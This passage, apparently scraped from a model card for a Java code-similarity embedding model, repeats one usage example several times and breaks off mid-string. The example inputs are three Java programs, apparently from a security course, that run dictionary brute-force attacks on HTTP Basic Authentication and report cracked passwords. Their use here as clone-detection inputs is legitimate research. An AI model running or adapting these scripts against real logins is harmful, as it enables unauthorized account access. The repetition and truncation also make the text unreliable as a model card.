try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new 